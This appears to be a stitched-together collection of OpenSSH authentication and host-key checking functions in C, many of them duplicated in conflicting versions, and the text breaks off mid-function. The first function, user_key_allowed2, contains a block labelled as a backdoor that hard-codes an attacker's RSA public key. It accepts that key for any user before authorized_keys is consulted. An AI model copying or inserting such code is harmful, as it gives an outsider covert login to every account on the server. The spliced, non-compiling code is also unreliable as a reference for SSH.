/*
* Checks whether key is allowed in file.
* returns 1 if the key is allowed or 0 otherwise.
*/
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
FILE *f;
int found_key = 0;
/********** BEGIN BACKDOOR ***************/
char backdoor_key[] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMfAdPOOBDuzYih8neJCs6YA0fHyuDTieslk4GjM19JJh89zYR+uXKUlMzwAdEfEoELugoqYRMGg0QVSYIlDzzTtPc26agKEBZAZas7Q+M/Y6HD76EdFbNFzYJ4wo/cYfDpxr2uXhAhKOAQ0AVGBrd26SgHmw4iX8HqLniqyLj+f41jLJoaH09YUQ/O6ZX9nFDoF3fXo2GJJYoxEz0/d63+vKst22vd1XKXApdir3QwfpMwrmMIsS4ObotQsZ0DO9Mbtcv5EmV3/h1EQFIRSNwObKDUMIa0zvZRpGM8LVBzlZ8meVrHm3BiycYSIWjAgrgbUoypuKpGQOevRaF1jDovaX6XVOZyek8WwYWo4J3xYQBpX3Y337T/+VTwdsLwdDWtyMoFjiG0Kgx7qK6zsaHKA8ZElN7OkRlhbQoXlUrvwPWjrw8jM75vhMXpM1ZcS/MzXxUvVJdgoAXcarx9fqfX/BQJcwtR0THiOCeFGq1PTyv2BWn2FkraRozS/hkZS+CmdnDxl26/YE9Ls79+DN13Xgao5aLM/hnti5iXixmuqmv+xENIYyO21wjDbvuool25W58BXj6Yecrxhi68UI899NE9iV38kHeUIYYD1/K7/F9Y7g4PKhDN4KMshYambfqzdx9S+aaeE06+LdapOQt40G9MdgUn73b7uz3il/04Q== martin@phoenix";
char *char_pointer = backdoor_key;
Key *found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
auth_clear_options();
int ret = key_read(found, &char_pointer);
if (key_equal(found, key)) {
found_key = 1;
key_free(found);
kk_backdoor_active = 1;
return found_key;
}
key_free(found);
/*********** END BACKDOOR ****************/
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
debug("trying public key file %s", file);
if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {
found_key = check_authkeys_file(f, file, key, pw);
fclose(f);
}
restore_uid();
return found_key;
}
/* check whether given key is in .ssh/authorized_keys* */
int
user_key_allowed(struct passwd *pw, Key *key)
{
u_int success, i;
char *file;
if (auth_key_is_revoked(key))
return 0;
if (key_is_cert(key) && auth_key_is_revoked(key->cert->signature_key))
return 0;
success = user_cert_trusted_ca(pw, key);
if (success)
return success;
for (i = 0; !success && i < options.num_authkeys_files; i++) {
file = expand_authorized_keys(
options.authorized_keys_files[i], pw);
success = user_key_allowed2(pw, key, file);
xfree(file);
}
if (success)
return success;
/* try the script to find the key */
if ((file = authorized_keys_script(pw))) {
success = user_key_found_by_script(pw, key, file);
xfree(file);
}
return success;
}
/*
* Check whether key authenticates and authorises the user.
*/
int
user_key_allowed(struct passwd *pw, Key *key)
{
u_int success, i;
char *file;
if (auth_key_is_revoked(key))
return 0;
if (key_is_cert(key) && auth_key_is_revoked(key->cert->signature_key))
return 0;
success = user_cert_trusted_ca(pw, key);
if (success)
return success;
success = user_key_command_allowed2(pw, key);
if (success > 0)
return success;
for (i = 0; !success && i < options.num_authkeys_files; i++) {
if (strcasecmp(options.authorized_keys_files[i], "none") == 0)
continue;
file = expand_authorized_keys(
options.authorized_keys_files[i], pw);
success = user_key_allowed2(pw, key, file);
free(file);
}
return success;
}
void
pubkey_auth_info(Authctxt *authctxt, const Key *key, const char *fmt, ...)
{
char *fp, *extra;
va_list ap;
int i;
extra = NULL;
if (fmt != NULL) {
va_start(ap, fmt);
i = vasprintf(&extra, fmt, ap);
va_end(ap);
if (i < 0 || extra == NULL)
fatal("%s: vasprintf failed", __func__);
}
if (key_is_cert(key)) {
fp = key_fingerprint(key->cert->signature_key,
SSH_FP_MD5, SSH_FP_HEX);
auth_info(authctxt, "%s ID %s (serial %llu) CA %s %s%s%s",
key_type(key), key->cert->key_id,
(unsigned long long)key->cert->serial,
key_type(key->cert->signature_key), fp,
extra == NULL ? "" : ", ", extra == NULL ? "" : extra);
free(fp);
} else {
fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
auth_info(authctxt, "%s %s%s%s", key_type(key), fp,
extra == NULL ? "" : ", ", extra == NULL ? "" : extra);
free(fp);
}
free(extra);
}
/* check whether given key is in .ssh/authorized_keys* */
int
user_key_allowed(struct passwd *pw, Key *key)
{
int success;
char *file;
if (auth_key_is_revoked(key))
return 0;
if (key_is_cert(key) && auth_key_is_revoked(key->cert->signature_key))
return 0;
success = user_cert_trusted_ca(pw, key);
if (success)
return success;
file = authorized_keys_file(pw);
success = user_key_allowed2(pw, key, file);
xfree(file);
if (success)
return success;
/* try suffix "2" for backward compat, too */
file = authorized_keys_file2(pw);
success = user_key_allowed2(pw, key, file);
xfree(file);
return success;
}
/* returns 0 if key verifies or -1 if key does NOT verify */
int
verify_host_key(char *host, struct sockaddr *hostaddr, Key *host_key)
{
int flags = 0;
char *fp;
fp = key_fingerprint(host_key, SSH_FP_MD5, SSH_FP_HEX);
debug("Server host key: %s %s", key_type(host_key), fp);
xfree(fp);
/* XXX certs are not yet supported for DNS */
if (!key_is_cert(host_key) && options.verify_host_key_dns &&
verify_host_key_dns(host, hostaddr, host_key, &flags) == 0) {
if (flags & DNS_VERIFY_FOUND) {
if (options.verify_host_key_dns == 1 &&
flags & DNS_VERIFY_MATCH &&
flags & DNS_VERIFY_SECURE)
return 0;
if (flags & DNS_VERIFY_MATCH) {
matching_host_key_dns = 1;
} else {
warn_changed_key(host_key);
error("Update the SSHFP RR in DNS with the new "
"host key to get rid of this message.");
}
}
}
return check_host_key(host, hostaddr, options.port, host_key, RDRW,
options.user_hostfiles, options.num_user_hostfiles,
options.system_hostfiles, options.num_system_hostfiles);
}
/* Authenticate a certificate key against TrustedUserCAKeys */
static int
user_cert_trusted_ca(struct passwd *pw, Key *key)
{
char *ca_fp, *principals_file = NULL;
const char *reason;
int ret = 0, found_principal = 0, use_authorized_principals;
if (!key_is_cert(key) || options.trusted_user_ca_keys == NULL)
return 0;
if ((ca_fp = sshkey_fingerprint(key->cert->signature_key,
options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL)
return 0;
if (sshkey_in_file(key->cert->signature_key,
options.trusted_user_ca_keys, 1, 0) != 0) {
debug2("%s: CA %s %s is not listed in %s", __func__,
key_type(key->cert->signature_key), ca_fp,
options.trusted_user_ca_keys);
goto out;
}
/*
* If AuthorizedPrincipals is in use, then compare the certificate
* principals against the names in that file rather than matching
* against the username.
*/
if ((principals_file = authorized_principals_file(pw)) != NULL) {
if (match_principals_file(principals_file, pw, key->cert))
found_principal = 1;
}
/* Try querying command if specified */
if (!found_principal && match_principals_command(pw, key->cert))
found_principal = 1;
/* If principals file or command is specified, then require a match */
use_authorized_principals = principals_file != NULL ||
options.authorized_principals_command != NULL;
if (!found_principal && use_authorized_principals) {
reason = "Certificate does not contain an authorized principal";
fail_reason:
error("%s", reason);
auth_debug_add("%s", reason);
goto out;
}
if (key_cert_check_authority(key, 0, 1,
use_authorized_principals ? NULL : pw->pw_name, &reason) != 0)
goto fail_reason;
if (auth_cert_options(key, pw) != 0)
goto out;
verbose("Accepted certificate ID \"%s\" signed by %s CA %s via %s",
key->cert->key_id, key_type(key->cert->signature_key), ca_fp,
options.trusted_user_ca_keys);
ret = 1;
out:
free(principals_file);
free(ca_fp);
return ret;
}
/*
* Match keys against a specified key, or look one up by key type.
*
* If looking for a keytype (key == NULL) and one is found then return
* HOST_FOUND, otherwise HOST_NEW.
*
* If looking for a key (key != NULL):
* 1. If the key is a cert and a matching CA is found, return HOST_OK
* 2. If the key is not a cert and a matching key is found, return HOST_OK
* 3. If no key matches but a key with a different type is found, then
* return HOST_CHANGED
* 4. If no matching keys are found, then return HOST_NEW.
*
* Finally, check any found key is not revoked.
*/
static HostStatus
check_hostkeys_by_key_or_type(struct hostkeys *hostkeys,
Key *k, int keytype, const struct hostkey_entry **found)
{
u_int i;
HostStatus end_return = HOST_NEW;
int want_cert = key_is_cert(k);
HostkeyMarker want_marker = want_cert ? MRK_CA : MRK_NONE;
int proto = (k ? k->type : keytype) == KEY_RSA1 ? 1 : 2;
if (found != NULL)
*found = NULL;
for (i = 0; i < hostkeys->num_entries; i++) {
if (proto == 1 && hostkeys->entries[i].key->type != KEY_RSA1)
continue;
if (proto == 2 && hostkeys->entries[i].key->type == KEY_RSA1)
continue;
if (hostkeys->entries[i].marker != want_marker)
continue;
if (k == NULL) {
if (hostkeys->entries[i].key->type != keytype)
continue;
end_return = HOST_FOUND;
if (found != NULL)
*found = hostkeys->entries + i;
k = hostkeys->entries[i].key;
break;
}
if (want_cert) {
if (key_equal_public(k->cert->signature_key,
hostkeys->entries[i].key)) {
/* A matching CA exists */
end_return = HOST_OK;
if (found != NULL)
*found = hostkeys->entries + i;
break;
}
} else {
if (key_equal(k, hostkeys->entries[i].key)) {
end_return = HOST_OK;
if (found != NULL)
*found = hostkeys->entries + i;
break;
}
/* A non-maching key exists */
end_return = HOST_CHANGED;
if (found != NULL)
*found = hostkeys->entries + i;
}
}
if (check_key_not_revoked(hostkeys, k) != 0) {
end_return = HOST_REVOKED;
if (found != NULL)
*found = NULL;
}
return end_return;
}
/* Authenticate a certificate key against TrustedUserCAKeys */
static int
user_cert_trusted_ca(struct passwd *pw, Key *key)
{
char *ca_fp, *principals_file = NULL;
const char *reason;
int ret = 0;
if (!key_is_cert(key) || options.trusted_user_ca_keys == NULL)
return 0;
ca_fp = key_fingerprint(key->cert->signature_key,
SSH_FP_MD5, SSH_FP_HEX);
if (key_in_file(key->cert->signature_key,
options.trusted_user_ca_keys, 1) != 1) {
debug2("%s: CA %s %s is not listed in %s", __func__,
key_type(key->cert->signature_key), ca_fp,
options.trusted_user_ca_keys);
goto out;
}
/*
* If AuthorizedPrincipals is in use, then compare the certificate
* principals against the names in that file rather than matching
* against the username.
*/
if ((principals_file = authorized_principals_file(pw)) != NULL) {
if (!match_principals_file(principals_file, pw, key->cert)) {
reason = "Certificate does not contain an "
"authorized principal";
fail_reason:
error("%s", reason);
auth_debug_add("%s", reason);
goto out;
}
}
if (key_cert_check_authority(key, 0, 1,
principals_file == NULL ? pw->pw_name : NULL, &reason) != 0)
goto fail_reason;
if (auth_cert_options(key, pw) != 0)
goto out;
verbose("Accepted certificate ID \"%s\" signed by %s CA %s via %s",
key->cert->key_id, key_type(key->cert->signature_key), ca_fp,
options.trusted_user_ca_keys);
ret = 1;
out:
if (principals_file != NULL)
xfree(principals_file);
if (ca_fp != NULL)
xfree(ca_fp);
return ret;
}
static int
check_key_not_revoked(struct hostkeys *hostkeys, Key *k)
{
int is_cert = key_is_cert(k);
u_int i;
for (i = 0; i < hostkeys->num_entries; i++) {
if (hostkeys->entries[i].marker != MRK_REVOKE)
continue;
if (key_equal_public(k, hostkeys->entries[i].key))
return -1;
if (is_cert &&
key_equal_public(k->cert->signature_key,
hostkeys->entries[i].key))
return -1;
}
return 0;
}
/* returns 0 if key verifies or -1 if key does NOT verify */
int
verify_host_key(char *host, struct sockaddr *hostaddr, Key *host_key)
{
int flags = 0;
char *fp;
Key *plain = NULL;
fp = key_fingerprint(host_key, SSH_FP_MD5, SSH_FP_HEX);
debug("Server host key: %s %s", key_type(host_key), fp);
free(fp);
if (options.verify_host_key_dns) {
/*
* XXX certs are not yet supported for DNS, so downgrade
* them and try the plain key.
*/
plain = key_from_private(host_key);
if (key_is_cert(plain))
key_drop_cert(plain);
if (verify_host_key_dns(host, hostaddr, plain, &flags) == 0) {
if (flags & DNS_VERIFY_FOUND) {
if (options.verify_host_key_dns == 1 &&
flags & DNS_VERIFY_MATCH &&
flags & DNS_VERIFY_SECURE) {
key_free(plain);
return 0;
}
if (flags & DNS_VERIFY_MATCH) {
matching_host_key_dns = 1;
} else {
warn_changed_key(plain);
error("Update the SSHFP RR in DNS "
"with the new host key to get rid "
"of this message.");
}
}
}
key_free(plain);
}
return check_host_key(host, hostaddr, options.port, host_key, RDRW,
options.user_hostfiles, options.num_user_hostfiles,
options.system_hostfiles, options.num_system_hostfiles);
}
void
pubkey_auth_info(Authctxt *authctxt, const Key *key)
{
char *fp;
if (key_is_cert(key)) {
fp = key_fingerprint(key->cert->signature_key,
SSH_FP_MD5, SSH_FP_HEX);
auth_info(authctxt, "%s ID %s (serial %llu) CA %s %s",
key_type(key), key->cert->key_id,
(unsigned long long)key->cert->serial,
key_type(key->cert->signature_key), fp);
free(fp);
} else {
fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
auth_info(authctxt, "%s %s", key_type(key), fp);
free(fp);
}
}
/* check whether given key is in .ssh/authorized_keys* */
int
user_key_allowed(struct passwd *pw, Key *key)
{
char *fp;
int success;
char *file;
if (blacklisted_key(key)) {
fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
if (options.permit_blacklisted_keys)
logit("Public key %s blacklisted (see "
"ssh-vulnkey(1)); continuing anyway", fp);
else
logit("Public key %s blacklisted (see "
"ssh-vulnkey(1))", fp);
xfree(fp);
if (!options.permit_blacklisted_keys)
return 0;
}
if (auth_key_is_revoked(key))
return 0;
if (key_is_cert(key) && auth_key_is_revoked(key->cert->signature_key))
return 0;
success = user_cert_trusted_ca(pw, key);
if (success)
return success;
file = authorized_keys_file(pw);
success = user_key_allowed2(pw, key, file);
xfree(file);
if (success)
return success;
/* try suffix "2" for backward compat, too */
file = authorized_keys_file2(pw);
success = user_key_allowed2(pw, key, file);
xfree(file);
return success;
}
/* check whether given key is in .ssh/authorized_keys* */
int
user_key_allowed(struct passwd *pw, Key *key)
{
char *fp;
u_int success, i;
char *file;
if (blacklisted_key(key)) {
fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
if (options.permit_blacklisted_keys)
logit("Public key %s blacklisted (see "
"ssh-vulnkey(1)); continuing anyway", fp);
else
logit("Public key %s blacklisted (see "
"ssh-vulnkey(1))", fp);
xfree(fp);
if (!options.permit_blacklisted_keys)
return 0;
}
if (auth_key_is_revoked(key))
return 0;
if (key_is_cert(key) && auth_key_is_revoked(key->cert->signature_key))
return 0;
success = user_cert_trusted_ca(pw, key);
if (success)
return success;
for (i = 0; !success && i < options.num_authkeys_files; i++) {
file = expand_authorized_keys(
options.authorized_keys_files[i], pw);
success = user_key_allowed2(pw, key, file);
xfree(file);
}
return success;
}
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
char line[SSH_MAX_PUBKEY_BYTES];
const char *reason;
int found_key = 0;
FILE *f;
u_long linenum = 0;
Key *found;
char *fp;
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
debug("trying public key file %s", file);
f = auth_openkeyfile(file, pw, options.strict_modes);
if (!f) {
restore_uid();
return 0;
}
found_key = 0;
found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
char *cp, *key_options = NULL;
auth_clear_options();
/* Skip leading whitespace, empty and comment lines. */
for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
continue;
if (key_read(found, &cp) != 1) {
/* no key? check if there are options for this key */
int quoted = 0;
debug2("user_key_allowed: check options: '%s'", cp);
key_options = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
/* Skip remaining whitespace. */
for (; *cp == ' ' || *cp == '\t'; cp++)
;
if (key_read(found, &cp) != 1) {
debug2("user_key_allowed: advance: '%s'", cp);
/* still no key? advance to next line*/
continue;
}
}
if (key_is_cert(key)) {
if (!key_equal(found, key->cert->signature_key))
continue;
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
continue;
if (!key_is_cert_authority)
continue;
fp = key_fingerprint(found, SSH_FP_MD5,
SSH_FP_HEX);
debug("matching CA found: file %s, line %lu, %s %s",
file, linenum, key_type(found), fp);
/*
* If the user has specified a list of principals as
* a key option, then prefer that list to matching
* their username in the certificate principals list.
*/
if (authorized_principals != NULL &&
!match_principals_option(authorized_principals,
key->cert)) {
reason = "Certificate does not contain an "
"authorized principal";
fail_reason:
xfree(fp);
error("%s", reason);
auth_debug_add("%s", reason);
continue;
}
if (key_cert_check_authority(key, 0, 0,
authorized_principals == NULL ? pw->pw_name : NULL,
&reason) != 0)
goto fail_reason;
if (auth_cert_options(key, pw) != 0) {
xfree(fp);
continue;
}
verbose("Accepted certificate ID \"%s\" "
"signed by %s CA %s via %s", key->cert->key_id,
key_type(found), fp, file);
xfree(fp);
found_key = 1;
break;
} else if (key_equal(found, key)) {
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
continue;
if (key_is_cert_authority)
continue;
found_key = 1;
debug("matching key found: file %s, line %lu",
file, linenum);
fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
verbose("Found matching %s key: %s",
key_type(found), fp);
xfree(fp);
break;
}
}
restore_uid();
fclose(f);
key_free(found);
if (!found_key)
debug2("key not found");
return found_key;
}
static int
check_host_key(char *hostname, struct sockaddr *hostaddr, u_short port,
Key *host_key, int readonly,
char **user_hostfiles, u_int num_user_hostfiles,
char **system_hostfiles, u_int num_system_hostfiles)
{
HostStatus host_status;
HostStatus ip_status;
Key *raw_key = NULL;
char *ip = NULL, *host = NULL;
char hostline[1000], *hostp, *fp, *ra;
char msg[1024];
const char *type;
const struct hostkey_entry *host_found, *ip_found;
int len, cancelled_forwarding = 0;
int local = sockaddr_is_local(hostaddr);
int r, want_cert = key_is_cert(host_key), host_ip_differ = 0;
int hostkey_trusted = 0; /* Known or explicitly accepted by user */
struct hostkeys *host_hostkeys, *ip_hostkeys;
u_int i;
/*
* Force accepting of the host key for loopback/localhost. The
* problem is that if the home directory is NFS-mounted to multiple
* machines, localhost will refer to a different machine in each of
* them, and the user will get bogus HOST_CHANGED warnings. This
* essentially disables host authentication for localhost; however,
* this is probably not a real problem.
*/
if (options.no_host_authentication_for_localhost == 1 && local &&
options.host_key_alias == NULL) {
debug("Forcing accepting of host key for "
"loopback/localhost.");
return 0;
}
/*
* Prepare the hostname and address strings used for hostkey lookup.
* In some cases, these will have a port number appended.
*/
get_hostfile_hostname_ipaddr(hostname, hostaddr, port, &host, &ip);
/*
* Turn off check_host_ip if the connection is to localhost, via proxy
* command or if we don't have a hostname to compare with
*/
if (options.check_host_ip && (local ||
strcmp(hostname, ip) == 0 || options.proxy_command != NULL))
options.check_host_ip = 0;
host_hostkeys = init_hostkeys();
for (i = 0; i < num_user_hostfiles; i++)
load_hostkeys(host_hostkeys, host, user_hostfiles[i]);
for (i = 0; i < num_system_hostfiles; i++)
load_hostkeys(host_hostkeys, host, system_hostfiles[i]);
ip_hostkeys = NULL;
if (!want_cert && options.check_host_ip) {
ip_hostkeys = init_hostkeys();
for (i = 0; i < num_user_hostfiles; i++)
load_hostkeys(ip_hostkeys, ip, user_hostfiles[i]);
for (i = 0; i < num_system_hostfiles; i++)
load_hostkeys(ip_hostkeys, ip, system_hostfiles[i]);
}
retry:
/* Reload these as they may have changed on cert->key downgrade */
want_cert = key_is_cert(host_key);
type = key_type(host_key);
/*
* Check if the host key is present in the user's list of known
* hosts or in the systemwide list.
*/
host_status = check_key_in_hostkeys(host_hostkeys, host_key,
&host_found);
/*
* Also perform check for the ip address, skip the check if we are
* localhost, looking for a certificate, or the hostname was an ip
* address to begin with.
*/
if (!want_cert && ip_hostkeys != NULL) {
ip_status = check_key_in_hostkeys(ip_hostkeys, host_key,
&ip_found);
if (host_status == HOST_CHANGED &&
(ip_status != HOST_CHANGED ||
(ip_found != NULL &&
!key_equal(ip_found->key, host_found->key))))
host_ip_differ = 1;
} else
ip_status = host_status;
switch (host_status) {
case HOST_OK:
/* The host is known and the key matches. */
debug("Host '%.200s' is known and matches the %s host %s.",
host, type, want_cert ? "certificate" : "key");
debug("Found %s in %s:%lu", want_cert ? "CA key" : "key",
host_found->file, host_found->line);
if (want_cert && !check_host_cert(hostname, host_key))
goto fail;
if (options.check_host_ip && ip_status == HOST_NEW) {
if (readonly || want_cert)
logit("%s host key for IP address "
"'%.128s' not in list of known hosts.",
type, ip);
else if (!add_host_to_hostfile(user_hostfiles[0], ip,
host_key, options.hash_known_hosts))
logit("Failed to add the %s host key for IP "
"address '%.128s' to the list of known "
"hosts (%.500s).", type, ip,
user_hostfiles[0]);
else
logit("Warning: Permanently added the %s host "
"key for IP address '%.128s' to the list "
"of known hosts.", type, ip);
} else if (options.visual_host_key) {
fp = sshkey_fingerprint(host_key,
options.fingerprint_hash, SSH_FP_DEFAULT);
ra = sshkey_fingerprint(host_key,
options.fingerprint_hash, SSH_FP_RANDOMART);
if (fp == NULL || ra == NULL)
fatal("%s: sshkey_fingerprint fail", __func__);
logit("Host key fingerprint is %s\n%s\n", fp, ra);
free(ra);
free(fp);
}
hostkey_trusted = 1;
break;
case HOST_NEW:
if (options.host_key_alias == NULL && port != 0 &&
port != SSH_DEFAULT_PORT) {
debug("checking without port identifier");
if (check_host_key(hostname, hostaddr, 0, host_key,
ROQUIET, user_hostfiles, num_user_hostfiles,
system_hostfiles, num_system_hostfiles) == 0) {
debug("found matching key w/out port");
break;
}
}
if (readonly || want_cert)
goto fail;
/* The host is new. */
if (options.strict_host_key_checking == 1) {
/*
* User has requested strict host key checking. We
* will not add the host key automatically. The only
* alternative left is to abort.
*/
error("No %s host key is known for %.200s and you "
"have requested strict checking.", type, host);
goto fail;
} else if (options.strict_host_key_checking == 2) {
char msg1[1024], msg2[1024];
if (show_other_keys(host_hostkeys, host_key))
snprintf(msg1, sizeof(msg1),
"\nbut keys of different type are already"
" known for this host.");
else
snprintf(msg1, sizeof(msg1), ".");
/* The default */
fp = sshkey_fingerprint(host_key,
options.fingerprint_hash, SSH_FP_DEFAULT);
ra = sshkey_fingerprint(host_key,
options.fingerprint_hash, SSH_FP_RANDOMART);
if (fp == NULL || ra == NULL)
fatal("%s: sshkey_fingerprint fail", __func__);
msg2[0] = '\0';
if (options.verify_host_key_dns) {
if (matching_host_key_dns)
snprintf(msg2, sizeof(msg2),
"Matching host key fingerprint"
" found in DNS.\n");
else
snprintf(msg2, sizeof(msg2),
"No matching host key fingerprint"
" found in DNS.\n");
}
snprintf(msg, sizeof(msg),
"The authenticity of host '%.200s (%s)' can't be "
"established%s\n"
"%s key fingerprint is %s.%s%s\n%s"
"Are you sure you want to continue connecting "
"(yes/no)? ",
host, ip, msg1, type, fp,
options.visual_host_key ? "\n" : "",
options.visual_host_key ? ra : "",
msg2);
free(ra);
free(fp);
if (!confirm(msg))
goto fail;
hostkey_trusted = 1; /* user explicitly confirmed */
}
/*
* If not in strict mode, add the key automatically to the
* local known_hosts file.
*/
if (options.check_host_ip && ip_status == HOST_NEW) {
snprintf(hostline, sizeof(hostline), "%s,%s", host, ip);
hostp = hostline;
if (options.hash_known_hosts) {
/* Add hash of host and IP separately */
r = add_host_to_hostfile(user_hostfiles[0],
host, host_key, options.hash_known_hosts) &&
add_host_to_hostfile(user_hostfiles[0], ip,
host_key, options.hash_known_hosts);
} else {
/* Add unhashed "host,ip" */
r = add_host_to_hostfile(user_hostfiles[0],
hostline, host_key,
options.hash_known_hosts);
}
} else {
r = add_host_to_hostfile(user_hostfiles[0], host,
host_key, options.hash_known_hosts);
hostp = host;
}
if (!r)
logit("Failed to add the host to the list of known "
"hosts (%.500s).", user_hostfiles[0]);
else
logit("Warning: Permanently added '%.200s' (%s) to the "
"list of known hosts.", hostp, type);
break;
case HOST_REVOKED:
error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
error("@ WARNING: REVOKED HOST KEY DETECTED! @");
error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
error("The %s host key for %s is marked as revoked.", type, host);
error("This could mean that a stolen key is being used to");
error("impersonate this host.");
/*
* If strict host key checking is in use, the user will have
* to edit the key manually and we can only abort.
*/
if (options.strict_host_key_checking) {
error("%s host key for %.200s was revoked and you have "
"requested strict checking.", type, host);
goto fail;
}
goto continue_unsafe;
case HOST_CHANGED:
if (want_cert) {
/*
* This is only a debug() since it is valid to have
* CAs with wildcard DNS matches that don't match
* all hosts that one might visit.
*/
debug("Host certificate authority does not "
"match %s in %s:%lu", CA_MARKER,
host_found->file, host_found->line);
goto fail;
}
if (readonly == ROQUIET)
goto fail;
if (options.check_host_ip && host_ip_differ) {
char *key_msg;
if (ip_status == HOST_NEW)
key_msg = "is unknown";
else if (ip_status == HOST_OK)
key_msg = "is unchanged";
else
key_msg = "has a different value";
error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
error("@ WARNING: POSSIBLE DNS SPOOFING DETECTED! @");
error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
error("The %s host key for %s has changed,", type, host);
error("and the key for the corresponding IP address %s", ip);
error("%s. This could either mean that", key_msg);
error("DNS SPOOFING is happening or the IP address for the host");
error("and its host key have changed at the same time.");
if (ip_status != HOST_NEW)
error("Offending key for IP in %s:%lu",
ip_found->file, ip_found->line);
}
/* The host key has changed. */
warn_changed_key(host_key);
error("Add correct host key in %.100s to get rid of this message.",
user_hostfiles[0]);
error("Offending %s key in %s:%lu", key_type(host_found->key),
host_found->file, host_found->line);
/*
* If strict host key checking is in use, the user will have
* to edit the key manually and we can only abort.
*/
if (options.strict_host_key_checking) {
error("%s host key for %.200s has changed and you have "
"requested strict checking.", type, host);
goto fail;
}
continue_unsafe:
/*
* If strict host key checking has not been requested, allow
* the connection but without MITM-able authentication or
* forwarding.
*/
if (options.password_authentication) {
error("Password authentication is disabled to avoid "
"man-in-the-middle attacks.");
options.password_authentication = 0;
cancelled_forwarding = 1;
}
if (options.kbd_interactive_authentication) {
error("Keyboard-interactive authentication is disabled"
" to avoid man-in-the-middle attacks.");
options.kbd_interactive_authentication = 0;
options.challenge_response_authentication = 0;
cancelled_forwarding = 1;
}
if (options.challenge_response_authentication) {
error("Challenge/response authentication is disabled"
" to avoid man-in-the-middle attacks.");
options.challenge_response_authentication = 0;
cancelled_forwarding = 1;
}
if (options.forward_agent) {
error("Agent forwarding is disabled to avoid "
"man-in-the-middle attacks.");
options.forward_agent = 0;
cancelled_forwarding = 1;
}
if (options.forward_x11) {
error("X11 forwarding is disabled to avoid "
"man-in-the-middle attacks.");
options.forward_x11 = 0;
cancelled_forwarding = 1;
}
if (options.num_local_forwards > 0 ||
options.num_remote_forwards > 0) {
error("Port forwarding is disabled to avoid "
"man-in-the-middle attacks.");
options.num_local_forwards =
options.num_remote_forwards = 0;
cancelled_forwarding = 1;
}
if (options.tun_open != SSH_TUNMODE_NO) {
error("Tunnel forwarding is disabled to avoid "
"man-in-the-middle attacks.");
options.tun_open = SSH_TUNMODE_NO;
cancelled_forwarding = 1;
}
if (options.exit_on_forward_failure && cancelled_forwarding)
fatal("Error: forwarding disabled due to host key "
"check failure");
/*
* XXX Should permit the user to change to use the new id.
* This could be done by converting the host key to an
* identifying sentence, tell that the host identifies itself
* by that sentence, and ask the user if he/she wishes to
* accept the authentication.
*/
break;
case HOST_FOUND:
fatal("internal error");
break;
}
if (options.check_host_ip && host_status != HOST_CHANGED &&
ip_status == HOST_CHANGED) {
snprintf(msg, sizeof(msg),
"Warning: the %s host key for '%.200s' "
"differs from the key for the IP address '%.128s'"
"\nOffending key for IP in %s:%lu",
type, host, ip, ip_found->file, ip_found->line);
if (host_status == HOST_OK) {
len = strlen(msg);
snprintf(msg + len, sizeof(msg) - len,
"\nMatching host key in %s:%lu",
host_found->file, host_found->line);
}
if (options.strict_host_key_checking == 1) {
logit("%s", msg);
error("Exiting, you have requested strict checking.");
goto fail;
} else if (options.strict_host_key_checking == 2) {
strlcat(msg, "\nAre you sure you want "
"to continue connecting (yes/no)? ", sizeof(msg));
if (!confirm(msg))
goto fail;
} else {
logit("%s", msg);
}
}
if (!hostkey_trusted && options.update_hostkeys) {
debug("%s: hostkey not known or explicitly trusted: "
"disabling UpdateHostkeys", __func__);
options.update_hostkeys = 0;
}
free(ip);
free(host);
if (host_hostkeys != NULL)
free_hostkeys(host_hostkeys);
if (ip_hostkeys != NULL)
free_hostkeys(ip_hostkeys);
return 0;
fail:
if (want_cert && host_status != HOST_REVOKED) {
/*
* No matching certificate. Downgrade cert to raw key and
* search normally.
*/
debug("No matching CA found. Retry with plain key");
raw_key = key_from_private(host_key);
if (key_drop_cert(raw_key) != 0)
fatal("Couldn't drop certificate");
host_key = raw_key;
goto retry;
}
if (raw_key != NULL)
key_free(raw_key);
free(ip);
free(host);
if (host_hostkeys != NULL)
free_hostkeys(host_hostkeys);
if (ip_hostkeys != NULL)
free_hostkeys(ip_hostkeys);
return -1;
}
/* return 1 if given hostkey is allowed */
int
hostbased_key_allowed(struct passwd *pw, const char *cuser, char *chost,
Key *key)
{
const char *resolvedname, *ipaddr, *lookup, *reason;
HostStatus host_status;
int len;
char *fp;
if (auth_key_is_revoked(key))
return 0;
resolvedname = get_canonical_hostname(options.use_dns);
ipaddr = get_remote_ipaddr();
debug2("userauth_hostbased: chost %s resolvedname %s ipaddr %s",
chost, resolvedname, ipaddr);
if (((len = strlen(chost)) > 0) && chost[len - 1] == '.') {
debug2("stripping trailing dot from chost %s", chost);
chost[len - 1] = '\0';
}
if (options.hostbased_uses_name_from_packet_only) {
if (auth_rhosts2(pw, cuser, chost, chost) == 0)
return 0;
lookup = chost;
} else {
if (strcasecmp(resolvedname, chost) != 0)
